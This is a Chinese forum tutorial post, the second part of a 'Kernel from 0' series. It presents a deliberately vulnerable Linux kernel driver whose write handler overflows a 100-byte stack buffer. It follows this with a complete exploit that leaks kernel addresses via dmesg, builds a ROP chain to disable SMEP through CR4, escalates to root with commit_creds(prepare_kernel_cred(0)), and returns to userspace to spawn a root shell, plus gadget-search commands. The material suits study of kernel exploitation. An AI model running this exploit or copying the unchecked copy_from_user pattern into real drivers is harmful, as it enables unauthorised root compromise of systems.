-
-
[原创]Kernel从0开始(二)
-
发表于: 2021-11-2 12:04 32429
-
先尝试下最简单的栈溢出,保护和未被保护的情况
给出自己设计的栈溢出题目:
这个比较慢,实在不推荐
这个比较快,不过查出来的gadget可能是不连续的,需要仔细辨别一下,必要时还需要Gdb调试进入vmlinux中进行汇编查询。比如查出来的类似如下
可以看到pop rax
下并没有ret
,但是依然查找出来了,其中pop rax
和pop rbx
不是连在一起的,用的时候注意辨别。
依然可以用,但有时候可能比较慢,可以先保存下来,然后再找:
详见之前的项目中的getKernelROP
命令,常用gadget,还是比较好用的
PIG-007/kernelAll (github.com)
这里的被保护指的是开启了SMEP,类似于NX的栈保护,即内核无法执行用户空间的代码。
通过ROP来关闭掉smep保护,这样就可以进入内核之后启动用户空间我们自己构造的commit_creds(prepare_kernel_cred(0))
来完成提权,之后再启一个shell即可获得提权之后的shell。
由于read函数不太有什么地址的读取,所以这里利用dmesg来获取地址
dmesg是获取内核启动的日志相关信息,自己去尝试一下知道。
进入内核空间ROP链前需要保存环境,从内核环境回到用户空间起shell之前需要恢复环境。
这个save_state
函数在复制数据通过stack_write
函数栈溢出进行ROP之前需要调用保存用户空间的环境。
这个都是放在ROP链中,放在shell之后。
直接在内核空间利用地址和gadget构造commit_creds(prepare_kernel_cred(0))
来完成提权,之后返回用户空间起shell。
之后就是返回用户空间起shell了
▲先是调用prepare_kernel_cred_k(0)
,然后通过将pop rbp;ret
赋值给rdx,之后mov rdi,rax
,然后call rdx,即调用pop rbp;ret
,之后ret即可回到commit_creds_k
。
这里较为麻烦的原因是因为mov rdi,rax;call rdx
这个语句,需要赋值rdi才能进行commit_creds
函数的执行,即将prepare_kernel_cred_k(0)
返回值给commit_creds
函数。
赋值
之后又因为存在call这个语句,所以多了pop rbp;ret
来将栈平衡掉,,从而能够直接ret到commit_creds
同样ha1vk师傅的利用jmp就比较简单,不过具体看gadget,有时候很难找。
(15条消息) linux kernel pwn学习之ROP_seaaseesa的博客-CSDN博客
这个直接调用用户空间构造的commit_creds(prepare_kernel_cred(0))
提权,然后直接原地起shell即可。相当于省去关闭smep保护的那段ROP链,直接getroot即可。
▲这里如果加了SMEP保护,那么就会出现下列的错误
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
/
/
设备驱动常用变量
static char
*
buffer_var;
static struct
class
*
devClass;
/
/
Global variable
for
the device
class
static struct cdev cdev;
static dev_t stack_dev_no;
static ssize_t stack_read(struct
file
*
filp, char __user
*
buf, size_t count,
loff_t
*
f_pos);
static ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos);
static
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg);
/
/
static
int
stack_open(struct inode
*
i, struct
file
*
f)
/
/
{
/
/
printk(KERN_INFO
"[i] Module vuln: open()\n"
);
/
/
return
0
;
/
/
}
/
/
static
int
stack_close(struct inode
*
i, struct
file
*
f)
/
/
{
/
/
printk(KERN_INFO
"[i] Module vuln: close()\n"
);
/
/
return
0
;
/
/
}
static struct file_operations stack_fops
=
{
.owner
=
THIS_MODULE,
/
/
.
open
=
stack_open,
/
/
.release
=
stack_close,
.write
=
stack_write,
.read
=
stack_read
};
/
/
设备驱动模块加载函数
static
int
__init stack_init(void)
{
buffer_var
=
kmalloc(
100
,GFP_DMA);
printk(KERN_INFO
"[i] Module stack registered"
);
if
(alloc_chrdev_region(&stack_dev_no,
0
,
1
,
"stack"
) <
0
)
{
return
-
1
;
}
if
((devClass
=
class_create(THIS_MODULE,
"chardrv"
))
=
=
NULL)
{
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
if
(device_create(devClass, NULL, stack_dev_no, NULL,
"stack"
)
=
=
NULL)
{
printk(KERN_INFO
"[i] Module stack error"
);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
cdev_init(&cdev, &stack_fops);
if
(cdev_add(&cdev, stack_dev_no,
1
)
=
=
-
1
)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
printk(KERN_INFO
"[i] <Major, Minor>: <%d, %d>\n"
, MAJOR(stack_dev_no), MINOR(stack_dev_no));
return
0
;
}
/
/
设备驱动模块卸载函数
static void __exit stack_exit(void)
{
/
/
释放占用的设备号
unregister_chrdev_region(stack_dev_no,
1
);
cdev_del(&cdev);
}
/
/
读设备
ssize_t stack_read(struct
file
*
filp, char __user
*
buf, size_t count,
loff_t
*
f_pos)
{
printk(KERN_INFO
"Stack_read function"
);
if
(strlen(buffer_var)>
0
) {
printk(KERN_INFO
"[i] Module vuln read: %s\n"
, buffer_var);
kfree(buffer_var);
buffer_var
=
kmalloc(
100
,GFP_DMA);
return
0
;
}
else
{
return
1
;
}
}
/
/
写设备
ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos)
{
printk(KERN_INFO
"Stack_write function"
);
char
buffer
[
100
]
=
{
0
};
if
(_copy_from_user(
buffer
, buf,
len
))
return
-
EFAULT;
buffer
[
len
-
1
]
=
'\0'
;
printk(
"[i] Module stack write: %s\n"
,
buffer
);
strncpy(buffer_var,
buffer
,
len
);
return
len
;
}
/
/
ioctl函数命令控制
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg)
{
switch (cmd) {
case
1
:
break
;
case
2
:
break
;
default:
/
/
不支持的命令
return
-
ENOTTY;
}
return
0
;
}
module_init(stack_init);
module_exit(stack_exit);
MODULE_LICENSE(
"GPL"
);
/
/
MODULE_AUTHOR(
"blackndoor"
);
/
/
MODULE_DESCRIPTION(
"Module vuln overflow"
);
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
/
/
设备驱动常用变量
static char
*
buffer_var;
static struct
class
*
devClass;
/
/
Global variable
for
the device
class
static struct cdev cdev;
static dev_t stack_dev_no;
static ssize_t stack_read(struct
file
*
filp, char __user
*
buf, size_t count,
loff_t
*
f_pos);
static ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos);
static
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg);
/
/
static
int
stack_open(struct inode
*
i, struct
file
*
f)
/
/
{
/
/
printk(KERN_INFO
"[i] Module vuln: open()\n"
);
/
/
return
0
;
/
/
}
/
/
static
int
stack_close(struct inode
*
i, struct
file
*
f)
/
/
{
/
/
printk(KERN_INFO
"[i] Module vuln: close()\n"
);
/
/
return
0
;
/
/
}
static struct file_operations stack_fops
=
{
.owner
=
THIS_MODULE,
/
/
.
open
=
stack_open,
/
/
.release
=
stack_close,
.write
=
stack_write,
.read
=
stack_read
};
/
/
设备驱动模块加载函数
static
int
__init stack_init(void)
{
buffer_var
=
kmalloc(
100
,GFP_DMA);
printk(KERN_INFO
"[i] Module stack registered"
);
if
(alloc_chrdev_region(&stack_dev_no,
0
,
1
,
"stack"
) <
0
)
{
return
-
1
;
}
if
((devClass
=
class_create(THIS_MODULE,
"chardrv"
))
=
=
NULL)
{
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
if
(device_create(devClass, NULL, stack_dev_no, NULL,
"stack"
)
=
=
NULL)
{
printk(KERN_INFO
"[i] Module stack error"
);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
cdev_init(&cdev, &stack_fops);
if
(cdev_add(&cdev, stack_dev_no,
1
)
=
=
-
1
)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no,
1
);
return
-
1
;
}
printk(KERN_INFO
"[i] <Major, Minor>: <%d, %d>\n"
, MAJOR(stack_dev_no), MINOR(stack_dev_no));
return
0
;
}
/
/
设备驱动模块卸载函数
static void __exit stack_exit(void)
{
/
/
释放占用的设备号
unregister_chrdev_region(stack_dev_no,
1
);
cdev_del(&cdev);
}
/
/
读设备
ssize_t stack_read(struct
file
*
filp, char __user
*
buf, size_t count,
loff_t
*
f_pos)
{
printk(KERN_INFO
"Stack_read function"
);
if
(strlen(buffer_var)>
0
) {
printk(KERN_INFO
"[i] Module vuln read: %s\n"
, buffer_var);
kfree(buffer_var);
buffer_var
=
kmalloc(
100
,GFP_DMA);
return
0
;
}
else
{
return
1
;
}
}
/
/
写设备
ssize_t stack_write(struct
file
*
filp, const char __user
*
buf,
size_t
len
, loff_t
*
f_pos)
{
printk(KERN_INFO
"Stack_write function"
);
char
buffer
[
100
]
=
{
0
};
if
(_copy_from_user(
buffer
, buf,
len
))
return
-
EFAULT;
buffer
[
len
-
1
]
=
'\0'
;
printk(
"[i] Module stack write: %s\n"
,
buffer
);
strncpy(buffer_var,
buffer
,
len
);
return
len
;
}
/
/
ioctl函数命令控制
long
stack_ioctl(struct
file
*
filp, unsigned
int
cmd, unsigned
long
arg)
{
switch (cmd) {
case
1
:
break
;
case
2
:
break
;
default:
/
/
不支持的命令
return
-
ENOTTY;
}
return
0
;
}
module_init(stack_init);
module_exit(stack_exit);
MODULE_LICENSE(
"GPL"
);
/
/
MODULE_AUTHOR(
"blackndoor"
);
/
/
MODULE_DESCRIPTION(
"Module vuln overflow"
);
ropper
-
-
file
vmlinux
-
-
search
"pop|ret"
ropper
-
-
file
vmlinux
-
-
search
"pop|ret"
objdump
-
d vmlinux
-
M intel | grep
-
E
'ret|pop'
objdump
-
d vmlinux
-
M intel | grep
-
E
'ret|pop'
ROPgadget
-
-
binary vmlinux | grep
"pop rdx ; ret"
ROPgadget
-
-
binary vmlinux | grep
"pop rdx ; ret"
unsigned
long
findAddr() {
char line[
512
];
char string[]
=
"Freeing SMP alternatives memory"
;
char found[
17
];
unsigned
long
addr
=
0
;
/
*
execute dmesg
and
place result
in
a
file
*
/
printf(
"[+] Excecute dmesg...\n"
);
system(
"dmesg > /tmp/dmesg"
);
/
*
find: Freeing SMP alternatives memory
*
/
printf(
"[+] Find usefull addr...\n"
);
FILE
*
file
=
fopen(
"/tmp/dmesg"
,
"r"
);
while
(fgets(line, sizeof(line),
file
)) {
if
(strstr(line,string)) {
strncpy(found,line
+
53
,
16
);
sscanf(found,
"%p"
,(void
*
*
)&addr);
break
;
}
}
fclose(
file
);
if
(addr
=
=
0
) {
printf(
" dmesg error...\n"
);
exit(
1
);
}
return
addr;
}
/
/
main函数中
unsigned
long
memOffset;
memOffset
=
findAddr();
unsigned
long
pop_rax_rbx_r12_rbp_ret
=
memOffset
-
0xCB5B47
;
unsigned
long
movCr4Rax_pop_rbp
=
(unsigned
long
)memOffset
-
0x01020F1C
;
unsigned
long
getR
=
(unsigned
long
)getroot;
unsigned
long
swapgs
=
(unsigned
long
)memOffset
-
0x7AAE78
;
unsigned
long
iretq
=
(unsigned
long
)memOffset
-
0x7AC289
;
unsigned
long
sh
=
(unsigned
long
)shell;
unsigned
long
findAddr() {
char line[
512
];
char string[]
=
"Freeing SMP alternatives memory"
;
char found[
17
];
unsigned
long
addr
=
0
;
/
*
execute dmesg
and
place result
in
a
file
*
/
printf(
"[+] Excecute dmesg...\n"
);
system(
"dmesg > /tmp/dmesg"
);
/
*
find: Freeing SMP alternatives memory
*
/
printf(
"[+] Find usefull addr...\n"
);
FILE
*
file
=
fopen(
"/tmp/dmesg"
,
"r"
);
while
(fgets(line, sizeof(line),
file
)) {
if
(strstr(line,string)) {
strncpy(found,line
+
53
,
16
);
sscanf(found,
"%p"
,(void
*
*
)&addr);
break
;
}
}
fclose(
file
);
if
(addr
=
=
0
) {
printf(
" dmesg error...\n"
);
exit(
1
);
}
return
addr;
}
/
/
main函数中
unsigned
long
memOffset;
memOffset
=
findAddr();
unsigned
long
pop_rax_rbx_r12_rbp_ret
=
memOffset
-
0xCB5B47
;
unsigned
long
movCr4Rax_pop_rbp
=
(unsigned
long
)memOffset
-
0x01020F1C
;
unsigned
long
getR
=
(unsigned
long
)getroot;
unsigned
long
swapgs
=
(unsigned
long
)memOffset
-
0x7AAE78
;
unsigned
long
iretq
=
(unsigned
long
)memOffset
-
0x7AC289
;
unsigned
long
sh
=
(unsigned
long
)shell;
unsigned char payload[
300
]
=
{
0
};
unsigned char
*
p
=
payload;
/
*
pop rax;rbx;r12;rbp;ret;
*
/
unsigned
long
poprax
=
(unsigned
long
)memOffset
-
0xCB5B47
;
memcpy(p,&poprax,
8
);
printf(
" pop rax at 0x%lx\n"
, poprax);
p
+
=
8
;
memcpy(p,
"\xf0\x06\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
SMEP OFF rax
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
rbx
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
r12
*
/
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
/
*
mov cr4, rax;rbp;ret
*
/
unsigned
long
movcr4
=
(unsigned
long
)memOffset
-
0x01020F1C
;
memcpy(p,&movcr4,
8
);
printf(
" mov CR4, RAX at 0x%lx\n"
, movcr4);
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
unsigned char payload[
300
]
=
{
0
};
unsigned char
*
p
=
payload;
/
*
pop rax;rbx;r12;rbp;ret;
*
/
unsigned
long
poprax
=
(unsigned
long
)memOffset
-
0xCB5B47
;
memcpy(p,&poprax,
8
);
printf(
" pop rax at 0x%lx\n"
, poprax);
p
+
=
8
;
memcpy(p,
"\xf0\x06\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
SMEP OFF rax
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
rbx
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
r12
*
/
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
/
*
mov cr4, rax;rbp;ret
*
/
unsigned
long
movcr4
=
(unsigned
long
)memOffset
-
0x01020F1C
;
memcpy(p,&movcr4,
8
);
printf(
" mov CR4, RAX at 0x%lx\n"
, movcr4);
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
/
*
function to get root
id
*
/
void getroot (void)
{
commit_creds(prepare_kernel_cred(
0
));
}
/
*
getroot
*
/
memcpy(p,&getR,
8
);
p
+
=
8
;
/
*
function to get root
id
*
/
void getroot (void)
{
commit_creds(prepare_kernel_cred(
0
));
}
/
*
getroot
*
/
memcpy(p,&getR,
8
);
p
+
=
8
;
void shell(void) {
printf(
"[+] getuid() ..."
);
if
(!getuid()) {
printf(
" [root]\n[+] Enjoy your shell...\n"
);
system(
"/bin/sh"
);
}
else
{
printf(
"[+] not root\n[+] failed !!!\n"
);
}
}
void shell(void) {
printf(
"[+] getuid() ..."
);
if
(!getuid()) {
printf(
" [root]\n[+] Enjoy your shell...\n"
);
system(
"/bin/sh"
);
}
else
{
printf(
"[+] not root\n[+] failed !!!\n"
);
}
}
/
*
swapgs;ret
*
/
printf(
" swapgs at 0x%lx\n"
, swapgs);
memcpy(p,&swapgs,
8
);
p
+
=
8
;
/
*
iretq
*
/
printf(
" iretq at 0x%lx\n"
, iretq);
memcpy(p,&iretq,
8
);
p
+
=
8
;
/
*
shell
*
/
memcpy(p,&sh,
8
);
p
+
=
8
;
/
*
swapgs;ret
*
/
printf(
" swapgs at 0x%lx\n"
, swapgs);
memcpy(p,&swapgs,
8
);
p
+
=
8
;
/
*
iretq
*
/
printf(
" iretq at 0x%lx\n"
, iretq);
memcpy(p,&iretq,
8
);
p
+
=
8
;
/
*
shell
*
/
memcpy(p,&sh,
8
);
p
+
=
8
;
unsigned
long
user_cs;
unsigned
long
user_ss;
unsigned
long
user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
:
"=r"
(user_cs),
"=r"
(user_ss),
"=r"
(user_rflags) : :
"memory"
);
}
unsigned
long
user_cs;
unsigned
long
user_ss;
unsigned
long
user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
:
"=r"
(user_cs),
"=r"
(user_ss),
"=r"
(user_rflags) : :
"memory"
);
}
/
*
user_cs
*
/
memcpy(p,&user_cs,
8
);
p
+
=
8
;
/
*
user_rflags
*
/
memcpy(p,&user_rflags,
8
);
p
+
=
8
;
/
*
stack of userspace
*
/
register unsigned
long
rsp asm(
"rsp"
);
unsigned
long
sp
=
(unsigned
long
)rsp;
memcpy(p,&sp,
8
);
p
+
=
8
;
/
*
user_ss
*
/
memcpy(p,&user_ss,
8
);
/
*
user_cs
*
/
memcpy(p,&user_cs,
8
);
p
+
=
8
;
/
*
user_rflags
*
/
memcpy(p,&user_rflags,
8
);
p
+
=
8
;
/
*
stack of userspace
*
/
register unsigned
long
rsp asm(
"rsp"
);
unsigned
long
sp
=
(unsigned
long
)rsp;
memcpy(p,&sp,
8
);
p
+
=
8
;
/
*
user_ss
*
/
memcpy(p,&user_ss,
8
);
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct cred;
struct task_struct;
typedef struct cred
*
(
*
prepare_kernel_cred_t) (struct task_struct
*
daemon) __attribute__((regparm(
3
)));
typedef
int
(
*
commit_creds_t) (struct cred
*
new) __attribute__((regparm(
3
)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
unsigned
long
user_cs;
unsigned
long
user_ss;
unsigned
long
user_rflags;
unsigned
long
stack;
unsigned
long
findAddr();
static void save_state();
void getroot (void);
void shell(void);
int
main(
int
argc, char
*
argv[])
{
int
fd;
unsigned char payload[
300
]
=
{
0
};
unsigned char
*
p
=
payload;
unsigned
long
memOffset;
memOffset
=
findAddr();
unsigned
long
pop_rax_rbx_r12_rbp_ret
=
memOffset
-
0xCB5B47
;
unsigned
long
movCr4Rax_pop_rbp
=
(unsigned
long
)memOffset
-
0x01020F1C
;
unsigned
long
getR
=
(unsigned
long
)getroot;
unsigned
long
swapgs
=
(unsigned
long
)memOffset
-
0x7AAE78
;
unsigned
long
iretq
=
(unsigned
long
)memOffset
-
0x7AC289
;
unsigned
long
sh
=
(unsigned
long
)shell;
printf(
" addr[0x%llx]\n"
, memOffset);
/
*
set
value
for
commit_creds
and
prepare_kernel_cred
*
/
commit_creds
=
(commit_creds_t)(memOffset
-
0xfbf6a0
);
prepare_kernel_cred
=
(prepare_kernel_cred_t)(memOffset
-
0xfbf2e0
);
/
*
open
fd on
/
dev
/
vuln
*
/
printf(
"[+] Open vuln device...\n"
);
if
((fd
=
open
(
"/dev/stack"
, O_RDWR)) <
0
) {
printf(
" Can't open device file: /dev/stack\n"
);
exit(
1
);
}
/
*
payload
*
/
printf(
"[+] Construct the payload...\n"
);
save_state();
/
*
offset before RIP
*
/
memcpy(p,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
,
116
);
p
+
=
116
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
for
rbp
*
/
p
+
=
8
;
/
*
pop rax;rbx;r12;rbp;ret
*
/
memcpy(p,&pop_rax_rbx_r12_rbp_ret,
8
);
printf(
" pop rax at 0x%lx\n"
, pop_rax_rbx_r12_rbp_ret);
p
+
=
8
;
memcpy(p,
"\xf0\x06\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
SMEP OFF
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
rbx
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
r12
*
/
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
/
*
mov cr4, rax;rbp;ret
*
/
memcpy(p,&movCr4Rax_pop_rbp,
8
);
printf(
" mov CR4, RAX at 0x%lx\n"
, movCr4Rax_pop_rbp);
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
/
*
getroot
*
/
memcpy(p,&getR,
8
);
p
+
=
8
;
/
*
swapgs;ret
*
/
printf(
" swapgs at 0x%lx\n"
, swapgs);
memcpy(p,&swapgs,
8
);
p
+
=
8
;
/
*
iretq
*
/
printf(
" iretq at 0x%lx\n"
, iretq);
memcpy(p,&iretq,
8
);
p
+
=
8
;
/
*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*
/
/
*
shell
*
/
memcpy(p,&sh,
8
);
p
+
=
8
;
/
*
user_cs
*
/
memcpy(p,&user_cs,
8
);
p
+
=
8
;
/
*
user_rflags
*
/
memcpy(p,&user_rflags,
8
);
p
+
=
8
;
/
*
stack of userspace
*
/
register unsigned
long
rsp asm(
"rsp"
);
unsigned
long
sp
=
(unsigned
long
)rsp;
memcpy(p,&sp,
8
);
p
+
=
8
;
/
*
user_ss
*
/
memcpy(p,&user_ss,
8
);
/
*
trig the vuln
*
/
printf(
"[+] Trig the vulnerablity...\n"
);
write(fd, payload,
300
);
return
0
;
}
unsigned
long
findAddr() {
char line[
512
];
char string[]
=
"Freeing SMP alternatives memory"
;
char found[
17
];
unsigned
long
addr
=
0
;
/
*
execute dmesg
and
place result
in
a
file
*
/
printf(
"[+] Excecute dmesg...\n"
);
system(
"dmesg > /tmp/dmesg"
);
/
*
find: Freeing SMP alternatives memory
*
/
printf(
"[+] Find usefull addr...\n"
);
FILE
*
file
=
fopen(
"/tmp/dmesg"
,
"r"
);
while
(fgets(line, sizeof(line),
file
)) {
if
(strstr(line,string)) {
strncpy(found,line
+
53
,
16
);
sscanf(found,
"%p"
,(void
*
*
)&addr);
break
;
}
}
fclose(
file
);
if
(addr
=
=
0
) {
printf(
" dmesg error...\n"
);
exit(
1
);
}
return
addr;
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
:
"=r"
(user_cs),
"=r"
(user_ss),
"=r"
(user_rflags) : :
"memory"
);
}
void shell(void) {
printf(
"[+] getuid() ..."
);
if
(!getuid()) {
printf(
" [root]\n[+] Enjoy your shell...\n"
);
system(
"/bin/sh"
);
}
else
{
printf(
"[+] not root\n[+] failed !!!\n"
);
}
}
/
*
function to get root
id
*
/
void getroot (void)
{
commit_creds(prepare_kernel_cred(
0
));
}
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
struct cred;
struct task_struct;
typedef struct cred
*
(
*
prepare_kernel_cred_t) (struct task_struct
*
daemon) __attribute__((regparm(
3
)));
typedef
int
(
*
commit_creds_t) (struct cred
*
new) __attribute__((regparm(
3
)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
unsigned
long
user_cs;
unsigned
long
user_ss;
unsigned
long
user_rflags;
unsigned
long
stack;
unsigned
long
findAddr();
static void save_state();
void getroot (void);
void shell(void);
int
main(
int
argc, char
*
argv[])
{
int
fd;
unsigned char payload[
300
]
=
{
0
};
unsigned char
*
p
=
payload;
unsigned
long
memOffset;
memOffset
=
findAddr();
unsigned
long
pop_rax_rbx_r12_rbp_ret
=
memOffset
-
0xCB5B47
;
unsigned
long
movCr4Rax_pop_rbp
=
(unsigned
long
)memOffset
-
0x01020F1C
;
unsigned
long
getR
=
(unsigned
long
)getroot;
unsigned
long
swapgs
=
(unsigned
long
)memOffset
-
0x7AAE78
;
unsigned
long
iretq
=
(unsigned
long
)memOffset
-
0x7AC289
;
unsigned
long
sh
=
(unsigned
long
)shell;
printf(
" addr[0x%llx]\n"
, memOffset);
/
*
set
value
for
commit_creds
and
prepare_kernel_cred
*
/
commit_creds
=
(commit_creds_t)(memOffset
-
0xfbf6a0
);
prepare_kernel_cred
=
(prepare_kernel_cred_t)(memOffset
-
0xfbf2e0
);
/
*
open
fd on
/
dev
/
vuln
*
/
printf(
"[+] Open vuln device...\n"
);
if
((fd
=
open
(
"/dev/stack"
, O_RDWR)) <
0
) {
printf(
" Can't open device file: /dev/stack\n"
);
exit(
1
);
}
/
*
payload
*
/
printf(
"[+] Construct the payload...\n"
);
save_state();
/
*
offset before RIP
*
/
memcpy(p,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
,
116
);
p
+
=
116
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
for
rbp
*
/
p
+
=
8
;
/
*
pop rax;rbx;r12;rbp;ret
*
/
memcpy(p,&pop_rax_rbx_r12_rbp_ret,
8
);
printf(
" pop rax at 0x%lx\n"
, pop_rax_rbx_r12_rbp_ret);
p
+
=
8
;
memcpy(p,
"\xf0\x06\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
SMEP OFF
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
rbx
*
/
p
+
=
8
;
memcpy(p,
"\x00\x00\x00\x00\x00\x00\x00\x00"
,
8
);
/
*
r12
*
/
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
/
*
mov cr4, rax;rbp;ret
*
/
memcpy(p,&movCr4Rax_pop_rbp,
8
);
printf(
" mov CR4, RAX at 0x%lx\n"
, movCr4Rax_pop_rbp);
p
+
=
8
;
memcpy(p,
"\x42\x42\x42\x42\x42\x42\x42\x42"
,
8
);
/
*
rbp
*
/
p
+
=
8
;
/
*
getroot
*
/
memcpy(p,&getR,
8
);
p
+
=
8
;
/
*
swapgs;ret
*
/
printf(
" swapgs at 0x%lx\n"
, swapgs);
memcpy(p,&swapgs,
8
);
p
+
=
8
;
/
*
iretq
*
/
printf(
" iretq at 0x%lx\n"
, iretq);
memcpy(p,&iretq,
8
);
p
+
=
8
;
/
*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*
/
/
*
shell
*
/
memcpy(p,&sh,
8
);
p
+
=
8
;
/
*
user_cs
*
/
memcpy(p,&user_cs,
8
);
p
+
=
8
;
/
*
user_rflags
*
/
memcpy(p,&user_rflags,
8
);
p
+
=
8
;
/
*
stack of userspace
*
/
register unsigned
long
rsp asm(
"rsp"
);
unsigned
long
sp
=
(unsigned
long
)rsp;
memcpy(p,&sp,
8
);
p
+
=
8
;
/
*
user_ss
*
/
memcpy(p,&user_ss,
8
);
/
*
trig the vuln
*
/
printf(
"[+] Trig the vulnerablity...\n"
);
write(fd, payload,
300
);
return
0
;
}
unsigned
long
findAddr() {
char line[
512
];
char string[]
=
"Freeing SMP alternatives memory"
;
char found[
17
];
unsigned
long
addr
=
0
;
/
*
execute dmesg
and
place result
in
a
file
*
/
printf(
"[+] Excecute dmesg...\n"
);
system(
"dmesg > /tmp/dmesg"
);
/
*
find: Freeing SMP alternatives memory
*
/
printf(
"[+] Find usefull addr...\n"
);
FILE
*
file
=
fopen(
"/tmp/dmesg"
,
"r"
);
while
(fgets(line, sizeof(line),
file
)) {
if
(strstr(line,string)) {
strncpy(found,line
+
53
,
16
);
sscanf(found,
"%p"
,(void
*
*
)&addr);
break
;
}
}
fclose(
file
);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]CVE-2021-22555_Netfilter堆溢出提权漏洞 22416
- [原创]Kernel从0开始(四) 28157
- [原创]Kernel从0开始(三) 29251
- [原创]Kernel从0开始(二) 32430
- [原创]Kernel从0开始(一) 44925